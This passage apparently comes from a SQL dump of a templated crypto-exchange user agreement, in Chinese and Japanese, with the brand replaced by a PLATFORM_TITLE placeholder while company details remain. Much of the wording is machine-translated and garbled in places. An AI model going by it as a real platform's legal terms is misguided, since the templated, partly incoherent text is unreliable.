节特别授权,否则您不应将您的详细信息提供给任何第三方以远程访问您的帐户。如果您对任何通信或通知的真实性有任何不确定性,请始终通过本网站登录您的 PLATFORM_TITLE 帐户以查看任何交易或所需的操作。对于因 PLATFORM_TITLE 的无过错和/或未遵循本第 12.1 节中规定的要求,或未遵循或按照我们的任何通知或警报采取行动而导致帐户登录凭据泄露而造成的任何损失,我们不承担任何责任可以发给你。


    12.2 身份验证和验证。为了访问 PLATFORM_TITLE 服务,用户需要提供电子邮件地址并创建密码。 PLATFORM_TITLE 通过用户的移动设备(短消息服务(“SMS”)或受支持的基于时间的一次性密码应用程序提供双重身份验证。需要经过验证的电话号码才能通过短信启用双重身份验证。用户负责保持用于访问 PLATFORM_TITLE 服务的电子设备的安全,并保持足够的安全性和控制用于访问 PLATFORM_TITLE 服务的任何和所有安全细节。这包括采取所有合理的步骤来避免所述电子设备的丢失、被盗或滥用,以及确保所述电子设备受密码保护。个人电子设备或安全细节的任何丢失或泄露都可能导致第三方未经授权访问用户的 PLATFORM_TITLE 帐户以及任何电子货币、数字货币和/或您的 PLATFORM_TITLE 账户中持有的资金以及任何相关账户的滥用,包括关联的银行账户和信用卡/借记卡。


    12.3 安全漏洞。如果您怀疑您的 PLATFORM_TITLE 帐户或您的任何安全详细信息已被泄露,或者您发现任何欺诈或企图欺诈或任何其他影响您和/或 PLATFORM_TITLE 的安全事件(包括网络安全攻击)(统称为“安全漏洞”),您必须:


    (A) 尽快通过免费电子邮件通知 PLATFORM_TITLE 支持trust@PLATFORM_TITLE.com,或致电我们:0808 168 4639,或 +1 (888) 908 7930(可能收取国际费用);


    (B) 在整个安全漏洞期间继续提供准确和最新的信息;


    (C) 您必须采取我们合理要求的任何步骤来减少、管理或报<br>告任何安全漏洞。未能提供及时通知在我们确定适当的解决方案时,可能会考虑任何安全漏洞。


    12.4 您的计算机和设备的安全和保障。 PLATFORM_TITLE 不对任何可能影响您的计算机或其他设备的计算机病毒或其他恶意代码或任何网络钓鱼、欺骗或其他攻击造成的任何损害或中断负责。我们建议定期使用信誉良好且随时可用的病毒筛查和预防软件。您还应该知道,SMS 和电子邮件服务容易受到欺骗和网络钓鱼攻击,并且在查看声称来自我们的消息时应小心谨慎。


    13. 一般


    13.1 您遵守适用法律。您在使用 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站。


    13.2 有限许可。根据本协议的条款,我们授予您有限的、非排他性的、不可转让的许可,以访问和使用本网站以及相关的内容、材料、信息(统称为“内容”),仅用于批准的目的:我们不时允许。明确禁止对本网站或内容的任何其他使用,并且本网站或内容的所有其他权利、所有权和利益均为 PLATFORM_TITLE 及其许可人的财产。您同意不复制、传输、分发、销售、许可、逆向工程、修改、发布或参与转让或销售、创建衍生作品或以任何其他方式利用任何内容,无论是全部还是在部分。“PLATFORM_TITLE.com”、“PLATFORM_TITLE”、“PLATFORM_TITLEPro”、“Pro.PLATFORM_TITLE.com”以及与 PLATFORM_TITLE 服务相关或显示在网站上的所有徽标是 PLATFORM_TITLE 或其许可方的商标或注册商标。未经我们事先书面同意,您不得复制、模仿或使用它们。


    13.3 禁止和有条件的使用。关于您对 PLATFORM_TITLE 服务的使用以及您与其他用户和第三方的互动,您同意遵守“禁止使用、禁止业务和有条件使用的政策”(如附录 1 所述)。此处包含的任何内容均不得解释为以暗示、禁止反言或其他方式授予电子货币或数字货币用于非法、非法、欺诈、不道德或未经授权的目的或促进或促进任何非法、非法、欺诈、不道德或未经授权的活动。我们保留随时监控、审查、保留和/或披露任何必要信息的权利,以满足任何适用法律、法规、制裁计划、法律程序或政府要求。


    13.4 出口管制和制裁。您对 PLATFORM_TITLE 服务和网站的使用受国际出口管制和经济制裁要求的约束。通过网站或 PLATFORM_TITLE 服务发送、接收、购买、出售、交易或存储数字货币,即表示您同意遵守这些要求。在以下情况下,您不得通过本网站<br>获取数字货币或使用任何 PLATFORM_TITLE 服务:


    (A) 您在古巴、伊朗、朝鲜、苏丹或叙利亚或受美国禁运、联合国制裁、欧盟或英国财政部金融制裁的任何其他国家地区、受其控制或国民或居民制度(每个“受制裁国家”),或者如果您是适用当局(包括但不限于金融制裁实施办公室(英国财政部的一部分)不时发布的经济制裁名单上的人,美国商务部的拒绝人员名单、未经核实的名单或实体名单,或欧盟金融制裁制度)(“受制裁人”);或者


    (B) 您打算向受制裁国家(或受制裁国家的国民或居民)或受制裁人提供任何获得或存储的数字货币或电子货币或 PLATFORM_TITLE 服务。


    13.5 修正。我们将至少提前两个月通过电子邮件通知您有关电子货币服务的协议的任何变更。在这种情况下,如果您在<br>变更生效日期前未另行通知我们,则视为您已接受变更并继续使用 PLATFORM_TITLE 服务。如果您不接受更改,则应告知我们,本协议将在两个月通知结束时终止。您也可以在两个月通知到期之前的任何时间立即免费终止本协议。我们可以通过在网站上发布修订后的协议或通过电子邮件将其发送给您,对协议进行所有其他修订(包括与任何其他 PLATFORM_TITLE 服务有关的修订),表明修订后的协议何时生效。尽管我们会尽力在可能的情况下提前通知您,在合法的情况下,我们可能会表明修改后的协议应立即生效,如果您不同意任何此类修改,您应关闭您的 PLATFORM_TITLE 账户并停止使用 PLATFORM_TITLE 服务。您同意以上述方式发出的任何修改通知应足以通知您,并且您继续访问和/或使用 PLATFORM_TITLE 服务和/或本网站应构成您对修改的肯定确认,并应被视为表示您接受修订后的协议。本协议的最新版本将随时在网站上提供。


    13.6 双方的关系。本协议中的任何内容均不应被视为或旨在被视为,也不应导致您或 PLATFORM_TITLE 被视为合作伙伴或合资企业,或您或 PLATFORM_TITLE 被视为另一方的代理人。


    13.7 他人的隐私。如果您通过 PLATFORM_TITLE 服务收到有关其他用户的信息,您必须对该信息保密,并且仅将其用于与 PLATFORM_TITLE 服务相关的用途。除非您得到用户的明确同意,否则您不得向第三方披露或分发用户信息或使用该信息,除非为执行交易和其他合理附带的功能(例如支持、对账和会计)而合理必要。您不得通过 PLATFORM_TITLE 服务向其他用户发送未经请求的通信。


    13.8 联系信息。您有责任在您的 PLATFORM_TITLE 账户资料中更新您的联系方式(包括您的电子邮件地址和电话号码),以便接收我们可能发送给您的任何通知或警报(包括实际或疑似安全漏洞的通知或警报) )。有关我们将如何与您沟通的更多详细信息,请参阅附录 3。


    13.9 税收。您有责任确定任何税款是否适用于您通过 PLATFORM_TITLE 服务进行的任何交易,以及在何种程度上适用于您通过 PLATFORM_TITLE 服务进行的任何交易,并向相应的税务机关代扣、收取、报告和汇缴正确的税款。您的交易历史可通过您的 PLATFORM_TITLE 账户获得。


    13.10 无人认领的财产。如果我们代表您持有电子货币或数字货币,并且我们无法与您联系并且几年来没有您使用 PLATFORM_TITLE 服务的记录,则适用法律可能要求我们将电子货币或数字货币报告为无人认领的财产在某些司法管辖区的当局。我们将尝试在我们记录中显示的地址找到您,但如果我们无法找到您,我们可能需要将任何此类电子货币或数字货币作为无人认领的财产交付给某些司法管辖区的当局。在适用法律允许的情况下,我们保留从此类无人认领的资金中扣除休眠费或其他管理费用的权利。


    13.11 账户持有人死亡。出于安全原因,如果我们收到确认您死亡的法律文件或其他使我们相信您已经死亡的信息,我们将冻结您的 PLATFORM_TITLE 账户,在此期间,任何交易都可能完成,直到:(i) 您指定的执行人/受托人已经开设一个新的 PLATFORM_TITLE 账户或以他们的名义通知 PLATFORM_TITLE 另一个现有的 PLATFORM_TITLE 账户,如下所述,并且您的全部 PLATFORM_TITLE 账户已<br>转移到该新账户,或 (ii) 我们已收到表格形式的证明令我们满意的是你没有死。如果我们有理由相信您可能已经死亡,但我们没有以我们满意的形式证明您的死亡,您授权我们直接或通过第三方进行调查,我们认为有必要确定您是否已经死亡.在我们收到令我们满意的您去世的证据后,您在有效遗嘱或类似遗嘱文件中指定的执行人/受托人将被要求开设一个新的 PLATFORM_TITLE 账户或通知 PLATFORM_TITLE 另一个以其名义现有的 PLATFORM_TITLE 账户您的 PLATFORM_TITLE 账户中的全部资金应转入其中。如果您没有指定执行人/受托人,那么我们保留以下权利: (i) 将任何有权继承您的 PLATFORM_TITLE 帐户的人视为您的执行人/受托人,由我们在收到和审查我们唯一的文件后确定和绝对酌情权,认为必要或适当,包括(但不限于)遗嘱或类似文件,或 (ii) 要求对您的财产具有管辖权的法院指定执行人/受托人的命令。如果我们全权酌情确定执行人/受托人指定的有效性存在不确定性,我们保留在采取任何与你的 PLATFORM_TITLE 帐户。根据上述规定,除非您的指定的执行人/受托人已经持有 PLATFORM_TITLE 账户(在这种情况下,他们可能仍需要进行额外的身份验证程序),在 PLATFORM_TITLE 账户所有者去世后,必须由指定的执行人/受托人开设新的 PLATFORM_TITLE 账户,并且您在此同意,您的执行人/受托人将被要求开设一个新的 PLATFORM_TITLE 账户并提供本协议第 3 节所要求的信息,以便访问您的 PLATFORM_TITLE 账户的内容。


    13.12 完整协议。本协议(包括通过引用并入本文的文件)构成您与 PLATFORM_TITLE 之间就本协议标的达成的全部理解和协议,并取代任何和所有先前的任何形式的讨论、协议和理解(包括但不限于任何先前版本的本协议),以及您与 PLATFORM_TITLE 之间的所有性质。


    13.13 解释。本协议中的章节标题仅为方便起见,不管辖本协议任何条款的含义或解释。


    13.14 转让和转让。本协议是您个人的,您不能将您的权利、许可、利益和/或义务转让或转让给任何其他人。我们可以随时转让或转让我们的权利许可、利益和/或我们的义务,包括作为涉及 PLATFORM_TITLE 的合并、收购或其他公司重组的一部分,前提是这种转让或转让不会对 PLATFORM_TITLE 服务的质量产生重大影响你收到。在遵守上述规定的前提下,本协议将具有约束力,并符合各方、其继承人和获准受让人的利益。如果我们转让和/或转让协议,您保留立即终止协议的权利。


    13.15 担保权益。除非您事先获得我们的书面批准,否则您不得为您的电子货币或数字货币设置安全性。


    13.16 无效。如果根据任何适用法律确定本协议的任何条款无效或不可执行,这不会影响任何其他条款的有效性。如果发现任何条款无法执行,则无法执行的条款将被切断,其余条款将被执行。


    13.17 行使我们的权利。我们可能并不总是严格执行我们在本协议下的权利。如果我们在任何时候都选择不行使我们的权利,这是一项临时措施,我们可能会随时再次严格行使我们的权利。


    13.18 语言。本协议以及您或我们要提供的任何信息或通知应为英文。本协议或其他文件的任何译文仅为您的方便而提供,可能无法准确地表示英文原文中的信息。如有任何不一致,以本协议或其他文件的英文版本为准。


    13.19 控制权变更。如果 PLATFORM_TITLE 被第三方实体收购或合并,我们保留在任何这些情况下转让或转让我们从您那里收集的信息以及我们与您的关系(包括本协议)作为一部分的权利此类合并、收购、出售或其他控制权变更。


    13.20 生存。本协议的所有条款因其性质超出本协议的到期或终止,包括但不限于与暂停或终止、PLATFORM_TITLE 帐户取消、欠 PLATFORM_TITLE 的债务、PLATFORM_TITLE 平台或网站的一般使用有关的部分,与 PLATFORM_TITLE 的争议,一般条款将在本协议终止或到期后继续具有约束力和运作。


    13.21 适用法律。本协议和我们之间的关系应受英格兰和威尔士法律的管辖,但须遵守任何当地强制性法律或消费者可获得的权利。

    ', '0', '2023-08-16 16:07:05', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100121, '服务条款', 'ja', '

    Eユーザプロトコルです


    本契約(「契約」)は、米国、英国、eea、日本、シンガポール以外にお住まいのお客様に適用されます。


    これらの用語を見ていると緑色のテキストがありますこれらの条項はCB Payments, Ltdがご提供する規制対象サービスにのみ適用され、PLATFORM_TITLE Kenya Limitedがご提供するサービスには適用されません。


    CB Payments, Ltd (PLATFORM_TITLEの名でも取引されています)は英国金融行為監督庁の監督を受けています。


    これはあなたと以下の当事者との間の契約です:CB Payments Ltd (PLATFORM_TITLE Payments)は、イングランドとウェールズで設立された民間有限会社で、会社番号は09708629です。登録オフィスの住所は5 Fleet Place, London EC4M 7RD, United Kingdomです;PLATFORM_TITLE Ascending Markets Kenya Limited(「PLATFORM_TITLEKenya」)はケニアで設立された民間有限会社です(会社番号pvt-27u5y39y)。郵便ポスト10643番郵便ポストケニアのナイロビですこのプロトコルにおける「PLATFORM_TITLE」、「私たち」、「私たちの」、または「私たち」への言及は、PLATFORM_TITLE Paymentsおよび/またはPLATFORM_TITLE Kenyaを意味し、特に議論されているサービスに依存します。「あなた」または「あなたの」への引用は、PLATFORM_TITLEと本契約を結んだ人を意味します。PLATFORM_TITLE.comまたはpro.PLATFORM_TITLE.comを介して利用アカウントを登録するか、または当社の任意の関連サイト、アプリケーションプログラムインターフェース(「API」)、またはモバイルアプリケーション(総称「ウェブサイト」)を介して利用アカウントを登録します。すなわち、この合意に含まれるすべての条項と条件、ならびに当社のプライバシーポリシーとクッキーポリシーを読み、理解し、受け入れることに同意するという意味です。電子マネーサービス、デジタルマネーサービス、および付加サービス(以下の定義を参照)を総称して「PLATFORM_TITLEサービス」と呼びます。PLATFORM_TITLEが運営するプラットフォーム(「PLATFORM_TITLEプラットフォーム」)(オンラインプラットフォームを含む)からアクセス可能webサイトまたはPLATFORM_TITLEが時折定める場所からアクセス可能です)。PLATFORM_TITLE <br>Paymentsが自ら電子マネーサービスの提供を決めた場合にのみ、電子マネーサービスへのアクセスが自動的に提供されます。


    以下の2で説明するように、各PLATFORM_TITLEサービスは、PLATFORM_TITLE PaymentsまたはPLATFORM_TITLE Kenyaによって提供されます。*デジタル通貨を取引したり保有したりした場合、損失のリスクが大きいことはおわかりでしょう。どのような資産と同様に、デジタル通貨の価値は上昇または下落する可能性があり、デジタル通貨を購入、売却、保有または投資する際に損失を被るという大きなリスクがあります。デジタル通貨サービスおよび追加サービスは現在、金融行為監督当局、ケニア中央銀行、英国またはケニアの他のいかなる監督機関の監督も受けていません。デジタル通貨サービスおよび付加サービスは英国金融監査院のサービスの管轄外にあり、あなたのデジタル通貨および電子マネーは英国金融サービス補償プログラムの保護を受けません。ケニア中央銀行の2015年通知第14号によると、デジタル通貨はケニアでは法定通貨ではないため、PLATFORM_TITLEが財政的困難に直面した場合、保護を受けることはできません。あなたの財務状態に応じて、デジタル通貨を取引したり保有したりすることが適切かどうかをよく考えるべきです。*


    1.資格です。


    いずれかのPLATFORM_TITLEサービスの利用資格を得るには、18歳以上であることと、該当するPLATFORM_TITLEサービスにアクセスできる国・地域に居住していることが必要です。すべての国でPLATFORM_TITLEサービスが利用できるわけではありませんのでご注意ください。国/地域別にアクセス可能なPLATFORM_TITLEサービスの一覧はhttps://www.PLATFORM_TITLE.com/globalにあります。


    2.サービスです。


    2.1電子マネーサービスです。


    PLATFORM_TITLE Paymentsは、次のようなサービス(「電子マネーサービス」)を提供する可能性があります。(A) CB Paymentsが発行する法定通貨(「電子マネー」)で計算された電子マネーを保存できるデジタルウォレット(「電子マネーウォレット」)をホストします。と


    (B)電子マネーの送受信を可能にするいくつかの支払いサービス(以下で説明する)。


    電子マネーサービスは英国金融行為監督庁(「FCA」)の監督下にあります。PLATFORM_TITLE PaymentsはFCAが認可・規制する認可電子マネー機関で、登録番号は900635です。電子マネーサービスへのアクセスは自動ではなく、PLATFORM_TITLE Paymentsがこれらのサービスの提供を自ら決定した場合にのみ提供されます。


    2.2デジタル通貨サービスです。


    PLATFORM_TITLE Kenyaは、以下のサービス(「デジタル通貨サービス」)を提供する可能性があります:


    (A)サポートされているいくつかのデジタル通貨(ビットコインやエセリウムなど)の残高(総称して「デジタル通貨」または「デジタル通貨」と呼ばれます)を保存、追跡、転送、管理することができる1つまたは複数のホストデジタル通貨ワレット(「デジタル通貨ワレット」)。


    (B)デジタル通貨交換サービスは、あなたがデジタル通貨を購入して販売する価格を得ることができ、ウェブサイト上で(一定の制限を受けて)そのような購入または販売を行うことができるサービスです(「デジタル通貨交換サービス」)。電子マネーサービスと違って、デジタルマネーサービスは規制されていません。PLATFORM_TITLE Kenyaは規制金融サービスプロバイダーではありません。PLATFORM_TITLE Kenyaはケニアにありケニアでサービスを提供しています重要なヒント:PLATFORM_TITLE Kenyaは規制された金融サービスプロバイダーではなく、ケニア中央銀行、資本市場庁、またはケニアの他の金融サービス監督機関に登録、監督、または権限を与えられていません。そのため、投資家や預金保護プログラムなど、これらの規制された団体に関連する規制保護を利用することはできません。


    2.3その他のPLATFORM_TITLEサービス


    コアサービス(電子マネーサービスおよびデジタルマネーサービス)に加えて、PLATFORM_TITLE Kenya(またはPLATFORM_TITLEグループの他のメンバー。定義は2.6項参照)は、ある資格基準を満たすユーザーに以下のサービス(「追加サービス」)を提供する可能性があります。


    (A)デジタル通貨註文簿交換プラットフォーム(付録4参照)(「PLATFORM_TITLE Pro」);


    (B) PLATFORM_TITLEが提供する開発アプリケーション(付録5参照)(「開発者ツール」)です。


    (C)質的サービス(詳細は付録6を参照)(「質的サービス」)です。


    2.4いくつかの責任です。PLATFORM_TITLE PaymentsとPLATFORM_TITLE Kenyaの責任は連帯ではなく単独であることに同意されます。そして、PLATFORM_TITLE PaymentsおよびPLATFORM_TITLE Kenyaは、それぞれ本プロトコルの下での義務およびそれらの違反に対してのみ責任義務を負います。これは、彼らの一人一人が、お互いの違反行為に対してではなく、あなた自身の違反行為に対して責任を持つことを意味します。


    2.5料金です。あなたが責任を持って支払い、すべての費用を支払うことに同意します。PLATFORM_TITLEサービスの完全な料金明細(時々変更されます)は、本契約の一部をなすウェブサイトの「価格設定および料金開示」ページおよび「取引料金」ページで見ることができます。


    2.6 PLATFORM_TITLEグループです。本契約における「PLATFORM_TITLEグループ」とは、PLATFORM_TITLE Kenyaとその子会社のことで、デジタル通貨のストレージやワレットサービスを提供するデラウェア州の企業PLATFORM_TITLE, Inc.が含まれます。この定義には、PLATFORM_TITLE Paymentsを含むがこれらに限定されませんが、電子マネーサービスのみを提供するすべての企業の子会社を含みません。


    2.7支払いサービスパートナーです。PLATFORM_TITLEは、関連する国/地域の関連する中央銀行が発行する通貨建てであなたとPLATFORM_TITLEとの間のいかなる支払いも、第三者の決済プロセッサまたは入金エージェントを使用して処理することができます。関連した支払いを含みますが、これらに限定されません。電子マネーのウォレット、またはPLATFORM_TITLEアカウントにおけるデジタル通貨の取引、預金または引き出しの使用を禁止します。


    3.アカウントの設定です。


    3.1 PLATFORM_TITLEアカウントを登録します。PLATFORM_TITLEサービスを利用するには、詳細情報(お名前、eメールアドレス、パスワードを含む)の提供と本契約の約款を受け入れてPLATFORM_TITLEアカウント(「PLATFORM_TITLEアカウント」)を登録する必要があります。PLATFORM_TITLEアカウントを使用するということは、このプロトコルのセクション3.2および4.10に従って事前にPLATFORM_TITLEの承認を得ていない限り、あなた自身がPLATFORM_TITLEサービスを使用することに同意していることを意味します。PLATFORM_TITLEアカウントの登録はお客様1人につき1つしかできません。あなたはあなたのPLATFORM_TITLEアカウントで発生したすべての活動に対してすべての責任を負います。PLATFORM_TITLEアカウントの開設を拒否するか、または任意のPLATFORM_TITLEアカウント(重複アカウントを含みますがこれに限定されません)を一時停止または終了するか、またはPLATFORM_TITLEアカウント内の特定のデジタル通貨の取引を一時停止または終了するかは、私たち自身で決定することができます。


    3.2サードパーティアクセスです。4.10条によって許可される範囲内で、監督される第三者が監督される第三者の製品またはサービスを介して、またはウェブサイトを介してPLATFORM_TITLEアカウントにアクセスまたは接続することを明示的に許可する場合、監督される第三者があなたに代わって特定の行動を取る許可を与えることは、本契約の下であなたの責任を免除するものではありません。あなたは、あなたのPLATFORM_TITLEアカウントにアクセスした監督された第三者のすべての行為または不行為に対してすべての責任を負い、その監督された第三者のすべての行為は、あなたの許可された行為とみなされるべきです。さらに、あなたのPLATFORM_TITLEアカウントにアクセスした監督された第三者の行為または不行為によって生じた、またはそれに関連するいかなる責任についても、PLATFORM_TITLEに対してPLATFORM_TITLEを要求することなく、PLATFORM_TITLEを賠償することをあなたは承認し、同意します。PLATFORM_TITLEアカウントに関して監督対象の第三者に付与した権限を、webサイトの「設定」ページ上のタブからいつでも変更または削除することができます。

    3.3本人認証です。あなたは、私たちが要求する情報(私たちはyが必要と認める場合は何でも要求することができます)を、マネーロンダリング、テロ資金調達、詐欺、または他の金融犯罪の捜査のために使用することに同意し、付録2(検証手順と制限)に規定されているものを含め、私たちがそのような情報の記録を保持することを許可します。PLATFORM_TITLEサービスの利用を開始し、特定のPLATFORM_TITLEサービスにアクセスするには、いくつかの認証手続きを完了する必要があります。これには、いくつかの電子マネーやデジタルマネーの転送が含まれます。PLATFORM_TITLEサービスのご利用に適用される制限は、継続的に収集される情報により変更される場合があります。要求する情報には個人情報が含まれる場合がありますが、これらに限定されるものではありません。例えば、お名前、居住地、電話番号、eメールアドレス、生年月日、納税者識別番号、政府の識別番号、銀行口座に関する情報(例えば、銀行名、口座タイプ、ルーティング番号および口座番号)ネットワーク状態、顧客タイプ、顧客役割、課金タイプ、移動機器識別子(例えば、国際移動体加入者idと国際移動体デバイス識別子)部分)およびその他のユーザステータス詳細情報、および適用法に従ってPLATFORM_TITLEが時々収集するように要求される何らかのこのような情報です。あなたはまた、「強化デューデリジェンス」(以下6.2節参照)を行う必要があるかもしれません。ここでPLATFORM_TITLEはあなた自身またはあなたの業務に関する他の情報の提出、関連記録の提供、PLATFORM_TITLEの従業員との会議のスケジュールを要求するかもしれません。PLATFORM_TITLEは以下のようなことができるようにします。PLATFORM_TITLEサービスの使用中に行われる任意の取引の富の出所と資金の出所を特定します。私たちにこの情報または必要とされる可能性のある他の情報を提供する場合、あなたはその情報が真実で、正確で、完全であることを確認します。また、PLATFORM_TITLEアカウントを登録するためのPLATFORM_TITLEの評価に影響を与える可能性のある情報を隠したり、PLATFORM_TITLEサービスを提供したりしていません。あなたは、提供されたこのようないかなる情報も虚偽、不正確、または不完全になる可能性があるいかなる状況変化についての情報を書面で通知し、PLATFORM_TITLEにタイムリーに提供することを約束し、PLATFORM_TITLEが要求する可能性があるいかなる他の追加のファイル、記録、情報、および/または適用法を提供することを約束します。このような情報の記録を保持することを許可していただきます。私たちはこれらの情報を第11条(データ保護)に従って処理します。あなたの身元を確認するため、または詐欺または他の金融犯罪からあなたおよび/または私たちを保護するために必要と認められる照会を直接または第三者を介して私たちに許可し、その結果に基づいて私たちが合理的に必要と認める行動照会を行います。私たちがこれらの照会を行うと、あなたの個人情報が信用リファレンス、詐欺予防または金融犯罪機関に開示される可能性があることを承認し同意し、これらの機関は私たちの照会に全面的に応じてくれるかもしれません。これはあくまでも身分確認であって、あなたの信用格付けに悪影響を及ぼすものではありません。また、PLATFORM_TITLEサービスの追加利用および/または特定の取引量の制限を超える取引を許可するためには、取引完了後しばらくお待ちいただく必要がある場合がございます。


    4電子マネーサービスです


    4.1ロードします。送金(またはウェブサイト上で自分の場所に適した他の支払い方法)を使って資金をe-moneyウォレットに入金することができます。入金を受け取ると、e-moneyウォレットはロードされた資金を表示します。資金のロードは手動で行うこともできますし、PLATFORM_TITLEアカウントに設定された定期的な取引の一部として利用することもできます(より詳しい情報については、次の5.12節を参照)。自分のアカウントから自分の資金をロードすることができますが、任意の統合、集合、または第三者のアカウントからロードすることはできません。資金がe-moneyウォレットにロードされると、PLATFORM_TITLE Paymentsはロードされた資金の代わりにe-moneyを発行します。電子マネーのウォレットは預金口座や投資口座ではありません。つまり、あなたの電子マネーは金融サービス補償プログラムから保護されないことになります。PLATFORM_TITLE Paymentsは、利用者からの資金を規制対象金融機関の指定保管口座に預けるだけです。電子マネーのワレットの中の電子マネーは、金利を稼ぐことはありません。お持ちの電子マネーウォレットは、異なる通貨建ての電子マネーをお持ちの場合があります。お持ちの各通貨の電子マネー残高を表示します。


    4.2デジタル通貨を購入または販売します。対応デジタル通貨は、電子マネーウォレットに記入した電子マネーで購入することができます。電子マネーを利用してデジタル通貨を取引するには、ウェブサイトの説明に従わなければなりません。電子マネーを用いたデジタルマネーの取引は、通常、ご指示を受けてから一営業日以内に決済されます。私たちに電子マネーウォレットから電子マネーを差し引く権限を与えます。できるだけ早くデジタル通貨をお渡ししようと試みますが、デジタル通貨をお渡しするまでの間、電子マネーはお渡しするウォレットから差し引かれる可能性があります。電子マネーと引き換えにデジタルマネーを販売することができます。あなたのデジタル通貨のワレットからお金を借りて、電子通貨のワレットに関連する金額の電子マネーを記入することを許可します。


    4.3コマンドを受信します。営業日以外、または営業日の午後4時30分(ロンドン時間)以降にe-moneyを利用してデジタル通貨を購入するよう指示を受けた場合、その指示を下記の時刻に受け取った営業日の指示とみなす場合があります。


    4.4撤回します。例えば、将来の取引を設定している場合など、将来の取引が約束された日にならない限り、電子マネーを使用してデジタル通貨取引を行うことを当社に指示した場合、デジタル通貨取引の同意を撤回することはできません(詳細については、次の5.12節を参照)。将来の取引の場合、将来の取引期日の前日までに同意を撤回することができます。将来の取引についての同意を撤回するには、ウェブサイトの説明に従ってください。


    4.5不成功な支払いです。電子マネーウォレットへの入金が失敗した場合、PLATFORM_TITLEは関連するデジタル通貨取引をキャンセルするか、あるいはPLATFORM_TITLE残高または他の関連アカウントを含む他の支払い方法から関連するデジタル通貨取引を完了するために必要な金額を引き落とすことを自分で決定することを許可します。あなたは、貸し越しを回避するために、またはプロバイダーが課した同様の料金を支払うために、十分な残高および/または十分な信用限度を維持する責任があります。


    4.6アカウント情報です。当サイトを使用して、電子マネーのウォレットの残高および取引履歴を見ることができます。(i)一度にデジタルマネーを購入した金額(および通貨)、(ii)支払者および/または受取者を識別する参照(場合によっては)、(iii)請求された任意の料金(料金明細を含む)、(iv)通貨を交換した場合、交換レートおよび交換後の金額(新通貨ベース)(あなたのいる場所)支払者)または交換前の金額(元通貨ベース)(あなたが受取人)、および(v)各デジタル通貨の購入時の支払日(場合によっては)です。


    4.7電子マネーに交換します。ウェブサイト内のオプションを選択し、説明された通りに電子マネーウォレットの電子マネーの全部または一部を受け取ることができます。別の約束がない限り、資金はあなたが登録した銀行口座に振り込まれます。本契約が終了した場合、私たちはあなたのe-moneyウォレットの中の残りのe-moneyを買い戻し、私たちが登録した銀行口座に資金を振り込むことを試みます。電子マネーのウォレットから電子マネーに交換する前に、詐欺、マネーロンダリング、テロ資金調達、その他の金融犯罪を防止するために、適用法の要求に従って検査を行うことがあります。これは、イーマネーの抽出が我々の規制要件を満たすために、これらの検査が我々の合理的な満足度で完了するまで、阻止されるか遅延されることを意味するかもしれません。


    4.8不正取引、不正取引です。電子マネーウォレットからあなたの信用証明を使用してデジタルマネーの購入および/または電子マネーの償還を開始する場合、私たちはあなたが別途の通知をしない限り、このような取引を許可したと仮定します。電子マネーのワレットを使用して不正な取引が行われたと思われる場合(「不正取引」)、または電子マネーのワレットを使用した取引が誤って実行されたり不完全であったと信じる理由がある場合(「誤った取引」)は、速やかにご連絡ください。いずれにしても、不正取引や誤った取引が発生してから13ヶ月後には遅れてはなりません。不正取引や不正確な取引を確実に特定し、できるだけ早くお知らせするために、電子マネーのウォレット残高と取引履歴を定期的にチェックしてください。当社は、この第4.8条に基づいて当社に通知されていない場合を除き、無許可取引または誤った取引に対するいかなるクレームも責任を負いません。この場合、以下の第4.9条に当社の責任が規定されています。さらに、次のセクション4.9で説明するように、詐欺、故意、または重大な過失によって不正取引または不正確な取引が発生した場合、私たちは、不正取引または不正確な取引の実際または潜在的な調査の間、不正取引または不正確な取引を請求する責任はありません。私たちはあなたのPLATFORM_TITLEアカウントの一時停止を保留し、さらなる損失を回避します。


    4.9払い戻しの権利です。


    (A)不正取引-電子マネーのワレットです。


    私たちの失敗によってあなたの電子マネーのウォレットに不正取引が発生した場合、私たちは不正取引を知った次の営業日までにその取引の金額を返金してあなたの電子マネーを回復します。不正取引が発生していない場合、通貨のウォレットはそのままの状態になります。一般的に言えば、あなたが無許可取引を私達に通知した後、または私達がいつでも私達に通知する方法を提供できなかった後に発生した損失について、あなたは何の責任も負いません。あなたは紛失または盗難の信用証明の使用によってあなたの電子マネーのワレットで発生した不正取引(例えば、あなたがログインの詳細情報を保持できなかった場合)によるいかなる損失も、最初の35ポンドのPLATFORM_TITLEアカウントのセキュリティを負担します。電子マネーのワレットで不正な取引が発生することになります(例えば、故意に第三者と、または電子メール<br>メールの保護とパスワードのセキュリティに重大な不注意があった場合、両方(節3.2および/または4.10を除く)。あなたはこのような不正な取引のいずれかによって生じるすべての損失について責任を負います。最初の35ポンドだけではありません。


    私たちとあなたとの間に許可されていない取引かどうかについて紛争がある場合、私たちは紛争を解決する間にあなたの電子マネーのウォレットに一時的に記入することができます(ただし義務はありません)。取引が許可されたことが確認された場合、事前にお知らせすることなくクレジットを取り消し、e-money Walletの声明に記載されているエラーを訂正することがありますが、この期間中にあなたのe-money Walletが一時的にロックされ、さらなる不正取引を避けることができますのでご注意ください。あなたのe-money財布に一時的に入金されたe-moneyを転送する場合、あなたはまた私たちに対して(債務として)責任を負います。


    (B)誤取引-電子マネーのウォレットです。


    私たちの行為やミスにより、あなたの電子マネーのウォレットで不正確な取引が行われた場合、私たちは直ちにその取引の金額を返金し、あなたの電子マネーのウォレットを不正確な取引が発生していない元の状態に戻します。私達はまた可能な限りあなたに合理的な通知を提供します。私たちはまた、私たちが責任を負う費用、およびあなたが不正確な取引のためにあなたが支払う必要があることを証明できるすべての金利を支払います。私たちがどのような責任を負うにせよ、あなたの要求に応じて、私たちはあなたが開始した任意の間違った取引を無料で追跡しようと試みます。しかし、このような取引を追跡できる保証はありません。


    4.10監督する第三者の任命を受けます。chapt3.2に記載されているように、電子マネーのワレット(「監視された第三者」)にアクセスする適切な監視対象の第三者を指定することができます。そうすれば、このようなアクセスによって、監視対象の第三者があなたの取引および他のデータにアクセスする可能性があり、および/または、電子マネーのウォレットから送金を開始する可能性があることを理解すべきです。あなたは、上記のセクション3.2で説明されているように、あなたのPLATFORM_TITLEアカウントに対して監督された第三者がとるいかなる行動に対しても責任を負うことになります。我々は、以下の節4.11で説明するように、監督される第三者へのアクセスを拒否する権利を保持します。


